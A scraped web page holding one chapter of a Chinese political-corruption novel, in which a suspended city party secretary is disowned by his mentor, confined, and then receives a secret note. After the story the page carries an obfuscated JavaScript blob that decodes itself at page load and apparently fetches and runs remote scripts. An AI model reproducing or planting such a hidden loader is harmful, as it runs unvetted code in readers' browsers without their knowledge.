首页
[切换至繁体版]
返回

第127章 停职令

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第127章停职令(第1/2页)
    权蚀
    百晓热点
    下部:烬灭
    第七卷:残刃破局
    第127章停职令
    第一节常委会上的沉默符
    江州的初春,总带着化不开的湿冷。
    上午九点十七分,江州市委常委会会议室的实木门被从外推开,冷风裹着走廊里的消毒水味钻进来,吹得桌角的会议名牌微微晃动。沈既白坐在主位上,指尖刚触到白瓷茶杯的杯壁,还没来得及感受那点微弱的暖意,视线就被门口进来的一行人牢牢锁住。
    走在最前面的是省委组织部副部长魏东,身侧跟着省纪委监委第三监督检查室主任方恪,两人身后,是三名穿着深色夹克、带着工作证的督导组工作人员。他们的脚步很齐,踩在水磨石地面上,发出沉闷的、带着压迫感的声响。
    会议室里瞬间安静下来。
    原本低声交流的常委们不约而同地闭了嘴,握着笔的手停在笔记本上,眼神里藏着各异的情绪——有惊愕,有了然,有担忧,还有几丝不易察觉的幸灾乐祸。沈既白的目光扫过全场,最终落在坐在左手边第三位的公西恪身上。
    市发改委主任的头埋得很低,额前的碎发遮住了眼睛,右手攥着的黑色文件夹被捏得变了形,钢笔从文件夹的夹层里滑出来,“啪”地掉在地上。墨囊摔裂了,深蓝色的墨水在浅灰色的地毯上晕开,像一滴凝固在地面的血。
    “沈既白同志。”
    魏东走到会议桌前方,并未落座,只是郑重翻开手中的正式文件,语气平稳庄重,透着不容置疑的正式与严肃。这是工作场合最标准的宣告口吻,沈既白再熟悉不过——当年他在执纪岗位上,也曾无数次以同样庄重的态度,向相关人员宣读组织决定。
    只是这一次,被宣告的对象,变成了他自己。
    “经省委常委会研究决定,现就有关事项通知如下。”魏东的目光从文件上抬起来,扫过沈既白的脸,“因滨江新城项目引发系列实名信访举报,反映你在项目推进过程中存在违规干预招投标、纵容下属利益输送等问题,涉嫌违纪违法。”
    他顿了顿,刻意加重了“涉嫌违纪违法”六个字。
    “为确保核查工作客观公正、顺利开展,经报中央纪委国家监委备案,省委研究决定:暂停沈既白同志中共江州市委书记、常委、委员职务。自本通知发布之日起,由省纪委监委驻江州督导组牵头,对相关问题开展专项核查。核查期间,沈既白同志暂停履行一切工作职权,配合督导组工作。”
    文件宣读完毕,魏东将其放在桌上,推到沈既白面前。
    会议室里的沉默,浓稠得像江州初春的雾。
    沈既白没有去看那份文件。他的手指从桌下抽出来,掌心攥着的东西硌得指骨发疼——那是父亲留下的老式黄铜工程计算尺,折叠式的,尺身的刻度被岁月磨得发亮,背面刻着的“桥稳在心,尺准在人”八个小字,早已融进了他的掌心纹路。
    他抬起头,目光迎上魏东的视线,语气平静:“魏部长,我有一个请求。”
    魏东挑眉:“沈书记请讲。”
    “滨江新城三期的地基沉降数据,昨天市审计局刚向我做了初步汇报,沉降值已经超过了《建筑地基基础设计规范》的预警线。”沈既白的声音不高,却穿透了会议室的沉默,“核查可以开始,但能否允许我先签署一份紧急指令,让住建局牵头,暂停三期工程的施工,组织专家开展安全隐患排查?”
    常委们的呼吸明显顿了一下。
    有人悄悄抬起头,看向沈既白。滨江新城的安全隐患,不是秘密,但在这个节骨眼上,沈既白还在提这件事,无异于在督导组的火上浇了一勺油。
    魏东的脸色沉了下来。他拿起桌上的文件,重新合上:“沈既白同志,省委的决定已经很明确了。核查期间,你暂停履行一切工作职权。滨江新城的相关工作,督导组会统筹安排,不需要你操心。”
    “这不是操心。”沈既白往前倾了倾身,椅背发出轻微的吱呀声,“是十七万回迁户的生命安全。魏部长,你我都是体制内的人,该清楚‘安全’这两个字,从来不能等。”
    “沈书记!”方恪突然开口,语气带着警告,“请你认清自己的现状。你的问题,恰恰与滨江新城的‘安全’有关。在核查结果出来之前,任何由你发起的指令,都不具备合法性。”
    沈既白看着方恪,忽然笑了。
    那笑容很淡,带着一丝冷意。他想起三天前,方恪还在省纪委的走廊里拍着他的肩膀,说“既白,江州的担子重,你多担待,有需要随时找我”。才不过七十二小时,昔日的同事,就成了执行停职决定的“刀”。
    他缓缓收回目光,从桌上拿起钢笔。笔是萧望之送他的,铱金笔尖,笔身刻着“明德”二字——那是他们当年在江州大学明德亭谈话时,萧望之亲手刻上去的。
    沈既白在文件的签字栏里,一笔一划地写下自己的名字。
    “沈既白”三个字,写得稳,写得正,没有一丝潦草。
    放下笔的瞬间,他听到公西恪发出一声极轻的呜咽。抬眼看去,市发改委主任的肩膀在微微颤抖,眼泪砸在膝盖上的文件上,晕开了一片水渍。
    沈既白的心里,像被什么东西扎了一下。
    他知道,公西恪不是在为他哭。
    魏东示意身后的督导组工作人员上前,收走了沈既白的工作证、办公室钥匙,还有他放在桌上的手机。“沈书记,请你现在跟我们走,去督导组的临时办公点,核对个人物品。”
    沈既白站起身,身高一米八的他,比魏东高出大半个头。他整理了一下身上的藏青色中山装,将一直攥在手里的工程计算尺,小心翼翼地放进了内兜。
    “走吧。”他说。
    路过公西恪身边时,沈既白停了一秒。
    公西恪猛地抬起头,眼里满是慌乱和愧疚,嘴唇动了动,似乎想说什么。沈既白只是看了他一眼,目光落在他桌角的青瓷杯上——那是公西恪上周送他的,说“书记,这杯子是我老家的手艺,温茶不凉,适合你”。
    此刻,青瓷杯里的茶已经凉透了,茶叶沉在杯底,像一团解不开的结。
    沈既白没有说话,抬脚走出了会议室。
    走廊里,阳光透过窗户照进来,落在他的身上,却没有一丝暖意。他听到身后的会议室门被关上,紧接着,是常委们窃窃私语的声音,像一群嗡嗡作响的苍蝇。
    他知道,从这一刻起,他这个江州市委书记,已经成了江州官场的“过去式”。
    第二节省台上的切割词
    督导组的临时办公点,设在市委大院西侧的一栋老旧办公楼里。
    二楼的一间办公室,成了沈既白的“临时处置室”。窗户被磨砂纸贴得严严实实,看不到外面的景象;天花板上,一个红色的监控摄像头正对着正中央,闪着微弱的红光;墙角的空调呼呼地吹着,吹出的风带着一股发霉的味道。
    两名督导组的年轻干部,坐在办公桌对面,手里拿着登记簿,正在核对从沈既白身上收走的物品。
    “手机一部,型号华为MateX5,机身无破损。”
    “手表一块,机械表,品牌海鸥,背面刻有‘沈’字。”
    “钢笔一支,铱金笔,笔身刻有‘明德’二字。”
    他们念得很认真,像在清点一件即将被封存的“物证”。
    沈既白坐在椅子上,双手放在膝盖上,目光落在墙角的电视上。电视是老式的液晶电视,屏幕上满是雪花,正播放着江州本地的新闻频道。
    “……下面插播一条省台快讯。”
    突然,电视里的雪花消失了,出现了省电视台的演播室画面。主持人的语气严肃,镜头一转,切到了省委副书记萧望之的办公室。
    沈既白的身体,瞬间僵住。
    屏幕里的萧望之,穿着一身深灰色的西装,打着一条藏青色的领带——那是沈既白去年给他过五十八岁生日时,亲手挑的。领带上绣着细小的松枝图案,萧望之曾说,“既白,你知道我最喜欢松,傲雪凌霜,不改其志”。
    此刻,这位最喜欢“松”的老人,坐在宽大的办公桌后,面容儒雅,举止沉稳,对着镜头,一字一句地说着话。
    “近日,省委针对江州市委书记沈既白同志的相关问题,作出了暂停职务、开展专项核查的决定。这件事,在全省干部队伍中引起了不小的反响。”萧望之的声音,透过电视的扬声器传出来,慢条斯理,却带着千钧之力,“在这里,我想代表省委,说几点意见。”
    他端起桌上的青瓷杯,喝了一口茶。那杯子,和公西恪送给沈既白的,一模一样。
    “第一,纪律面前,人人平等。”萧望之放下茶杯,目光直视镜头,“沈既白同志,曾是我十分看重的学生,也是我一手提拔起来的干部。我曾以为,他会坚守执纪者的初心,会成为江州发展的‘压舱石’。但事实证明,我的判断,出现了偏差。”
    沈既白的手指,紧紧攥住了裤腿。
    “第二,发展是第一要务,大局是第一准则。”萧望之的语气,变得更加严厉,“江州是我省的经济重镇,滨江新城项目,是江州推动城市更新、改善民生的重点工程。任何个人的行为,都不能凌驾于发展大局之上。沈既白同志的相关行为,已经引发了不良影响,甚至可能破坏江州的营商环境。省委的决定,既是对组织负责,对人民负责,也是对沈既白同志本人负责。”
    “第三,依规执纪,绝不护短。”
    这八个字,萧望之说得格外重。
    “省纪委监委驻江州督导组,已经正式开展工作。我在这里表个态,省委将全力支持督导组的工作,不管涉及到谁,不管他的资历有多深,背景有多复杂,都要一查到底,绝不姑息。对于沈既白同志的问题,我们不会因为他是我的学生,就网开一面;也不会因为外界的猜测,就草草了事。一切,都要以事实为依据,以纪律为准绳。”
    电视画面,切回了演播室。主持人继续播报着其他新闻,关于滨江新城的奠基仪式筹备,关于九鼎集团的慈善捐赠。
    沈既白的耳边,却只剩下萧望之的声音。
    “绝不护短。”
    “我的判断,出现了偏差。”
    “破坏江州的营商环境。”
    这些话,像一把把淬了冰的刀,一刀刀扎在他的心上。
    他想起二十年前,他刚从江州大学毕业,考上省纪委的公务员。报到的第一天,萧望之站在省纪委的大门口,拍着他的肩膀说:“既白,你是学政治学的,更是桥梁工程师的儿子。你要记住,执纪者,就像建桥的人,每一步都要稳,每一根钢筋都要实。桥塌了,伤的是百姓;执纪者偏了,伤的是民心。”
    (本章未完,请点击下一页继续阅读)第127章停职令(第2/2页)
    他想起十年前,2009年,江州大桥垮塌。十七条人命,沉在冰冷的江水里。他作为省纪委的办案人员,提出了对大桥设计图纸的质疑,认为应力系数的计算存在明显错误。是萧望之,把他叫到办公室,说:“既白,大局为重。江州刚经历了金融危机,大桥垮塌的消息,已经让人心惶惶。如果再查出设计问题,牵连太广,会影响江州的发展。这件事,就到这里。”
    他想起三年前,他被提拔为省纪委副书记。萧望之在明德亭摆了一桌酒,举杯对他说:“既白,你是我的骄傲。但我要提醒你,权力是一把双刃剑,能护人,也能伤人。你要做的,是握住剑柄,而不是被剑刃所伤。”
    如今,这把“剑”,刺向了他。
    “沈书记。”
    对面的年轻干部,打断了他的思绪。“物品核对完毕,除了您的工程计算尺,其他物品都将暂时封存。这是登记簿,请您签字。”
    沈既白接过登记簿,目光落在“工程计算尺”那一行,后面写着:“个人物品,非通讯设备,非涉密载体,予以留存。”
    他拿起笔,在签字栏里写下自己的名字。
    “还有一件事。”年轻干部犹豫了一下,说,“萧书记让我们转告您,他在省纪委的办公室,给您留了位置。只要您愿意写一份深刻的检讨,承认自己在工作中的‘失误’,省委可以考虑,暂缓对您的核查,调您回省纪委任职。”
    沈既白抬起头,看着年轻干部的眼睛。
    “检讨?”他轻声重复了一遍,忽然笑了。
    那笑容里,带着一丝悲凉,一丝决绝。
    “你回去告诉萧书记。”沈既白的声音,平静得像一潭深水,“2009年江州大桥垮塌,十七条人命,躺在江水里,没有一个人给他们写过检讨。我沈既白,也没有什么检讨,可写。”
    年轻干部的脸色,瞬间变得惨白。他攥着登记簿,站起身,匆匆走出了办公室。
    办公室里,又恢复了寂静。
    电视里的新闻还在播,九鼎集团董事长澹台烬,正站在滨江新城的工地上,对着镜头侃侃而谈,“我们九鼎集团,始终坚持社会责任,滨江新城项目,必将成为江州的新地标,成为民生工程的典范”。
    沈既白看着屏幕里澹台烬那张一丝不苟的脸,缓缓闭上了眼睛。
    师徒情分,从这一刻起,彻底断了。
    第三节软禁屋的计算尺
    夜色,比预想中来得更快。
    下午六点,江州下起了雨。
    初春的雨,不大,却密,打在窗户上,发出“哒哒”的声响,像有人在外面,轻轻敲着门。
    沈既白被督导组的人,送到了江州老干部休养所的一栋独栋小楼里。
    这是一处临时软禁点。
    小楼坐落在休养所的最深处,四周是高高的围墙,围墙上装着铁丝网,门口有两名穿着保安制服的督导组人员站岗。小楼的铁门,是厚重的铁皮门,关上时,发出“哐当”一声巨响,像是一道隔绝了世界的屏障。
    小楼是两室一厅的格局,家具都是老式的——掉漆的实木沙发,裂了缝的玻璃茶几,还有一张铺着草席的木床。客厅的天花板上,同样装着监控摄像头,红色的指示灯,在雨夜的黑暗里,显得格外刺眼。
    卫生间里,连窗户都被焊死了,只有一个小小的通风口,对着围墙外的树林。
    沈既白走进客厅,将内兜里的工程计算尺拿出来,放在玻璃茶几上。
    黄铜的尺身,在昏暗的灯光下,泛着温润的光。他轻轻打开计算尺,展开到最长,尺身的刻度,从“1”到“100”,清晰可见。背面的“桥稳在心,尺准在人”,是父亲亲手刻的。父亲是老桥梁工程师,一辈子修了七座桥,每一座都屹立不倒。2009年江州大桥垮塌时,父亲躺在病床上,拉着他的手说:“既白,桥塌了,是因为根蚀了。权力也是一样,根蚀了,就再也站不稳了。”
    那时,父亲已经病入膏肓,没过多久,就撒手人寰。
    这把计算尺,是父亲留给她的唯一遗物。
    沈既白坐在实木沙发上,拿起计算尺,贴在自己的额头上。黄铜的凉意,透过皮肤,传到大脑里,让他混沌的思绪,瞬间清醒了过来。
    他开始复盘。
    从他调任江州书记的第一天,到今天被停职,短短八个月。
    这八个月里,他像一头闯进了迷宫的牛,看似手握权柄,实则步步都是陷阱。
    萧望之的加密信息,是第一个信号——“江州水深,慎行”。他当时以为,这是恩师的提醒,却没想到,这是恩师的“预警”,预警他即将成为棋子。
    公西恪送来的青瓷杯,是第二个信号。他当时只觉得,这是亲信的心意,却没注意到,公西恪口袋里露出的半张九鼎集团的房卡。那房卡,是澹台烬的“入场券”,也是公西恪沦陷的证明。
    顾蒹葭发来的加密审计底稿,是第三个信号。底稿里,清晰地标注着滨江新城项目的附属协议,将工业用地,违规变更为商业用地,差价高达二十七亿。可就在他准备立案调查的前一天,顾蒹葭就住进了医院,底稿的原件,也不翼而飞。
    而这一切的背后,站着两个人——萧望之,和澹台烬。
    萧望之要的,是“政绩”。滨江新城的建成,会成为他仕途终点的“丰碑”;澹台烬要的,是“利益”。二十七亿的土地差价,只是他敛财的开始。
    他们联手,织了一张网,一张以“发展”为名,以“合规”为线,以权力和资本为经纬的网。
    而他沈既白,就是那张网里,试图破网而出的“鱼”。
    停职,不是结束,只是开始。
    他们想让他妥协,想让他闭嘴,想让他成为滨江新城“合规腐败”的“背锅侠”。
    如果他写了检讨,就等于承认了自己的“失误”,等于为萧望之和澹台烬的罪恶,披上了一层“合规”的外衣。
    他不能妥协。
    可是,路在哪里?
    通讯设备被没收,他无法联系顾蒹葭,无法联系钟离徽,甚至无法联系省纪委的老战友。他像一只被关进笼子里的老虎,空有一身力气,却无处施展。
    “哐当。”
    铁门被敲响了。
    沈既白抬起头,看向门口。
    一名督导组的工作人员,端着一个不锈钢饭盒,站在门口,隔着铁门,说:“沈书记,晚饭。还有,萧书记的话,我已经带到了。他说,给你三天时间考虑。三天后,如果你还没有答复,督导组就会正式启动立案程序。”
    饭盒里,是两菜一汤——炒青菜,红烧肉,还有一碗紫菜蛋花汤。红烧肉的色泽很亮,一看就是精心烹制的。
    沈既白站起身,走到门口,接过饭盒。
    “谢谢。”他说。
    工作人员的眼神,复杂地看了他一眼,欲言又止,最终还是转身离开了。
    铁门再次被关上,发出沉闷的声响。
    沈既白回到沙发上,将饭盒放在茶几上,没有动。他拿起工程计算尺,重新展开,开始演算。
    演算的,是2009年江州大桥的应力系数。
    当年,他用电脑算过,用计算器算过,都得出了同一个结论——大桥的设计图纸,被人篡改了,应力系数的安全储备,被削减了三分之一。
    今天,他用父亲的计算尺,重新算。
    一步,两步,三步。
    黄铜的尺身,在他的指尖转动,发出轻微的“咔哒”声。雨声,监控的电流声,还有他自己的心跳声,交织在一起,成了此刻唯一的背景音。
    两个小时后。
    沈既白停下了手。
    计算尺上的刻度,指向了一个数字——0.32。
    和他当年算的,一模一样。
    这就是真相。
    2009年的江州大桥,不是因为施工质量问题垮塌的,而是因为设计图纸被篡改,根本无法承受江风的荷载和车辆的重量。
    而篡改图纸的人,背后站着的,就是萧望之,和刚刚发迹的澹台烬。
    滨江新城的项目,不过是2009年的翻版。他们用“合规”的流程,篡改了土地性质,篡改了工程造价,篡改了安全标准。如果不及时制止,滨江新城,迟早会成为第二座“江州大桥”。
    沈既白将计算尺合上,揣进怀里。
    他知道,自己不能再等了。
    萧望之给了他三天时间,可那些住在滨江新城回迁房里的百姓,等不起三天。顾蒹葭躺在医院里,也等不起三天。
    他必须破局。
    哪怕,要触碰规则的灰色地带。
    哪怕,要付出惨痛的代价。
    他走到窗边,拉开灰色的窗帘。
    窗外,是茫茫的雨夜。江州大桥的轮廓,在雨雾中若隐若现,像一条沉睡的巨龙。桥下的江水,在雨夜中,翻涌着黑色的浪。
    就在这时,他听到门外,传来一阵极轻的脚步声。
    不是督导组的工作人员——他们的脚步,沉重而规律。
    这脚步声,很轻,很碎,像猫的脚步。
    紧接着,一张小小的纸条,从铁门的缝隙里,塞了进来。
    沈既白的心,猛地提了起来。
    他快步走到门口,捡起那张纸条。
    纸条是从笔记本上撕下来的,很小,上面用铅笔,写着一行字:“明晚八点,休养所后门,老槐树。钟离。”
    钟离。
    钟离徽!
    沈既白攥着那张纸条,指节发白。
    黑暗里,终于透出了一丝光。
    他抬起头,看向窗外的江州大桥,眼神坚毅如铁。
    停职,只是暂时的。
    这场关于权力与正义的博弈,才刚刚开始。
    他将纸条,小心翼翼地夹进了工程计算尺的夹层里。然后,他拿起茶几上的饭盒,开始吃饭。
    红烧肉很香,他却吃得索然无味。
    他知道,明晚八点,将是他蛰伏后的第一次突围。
    也是他,撕开这张“合规腐败”大网的,第一刀。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();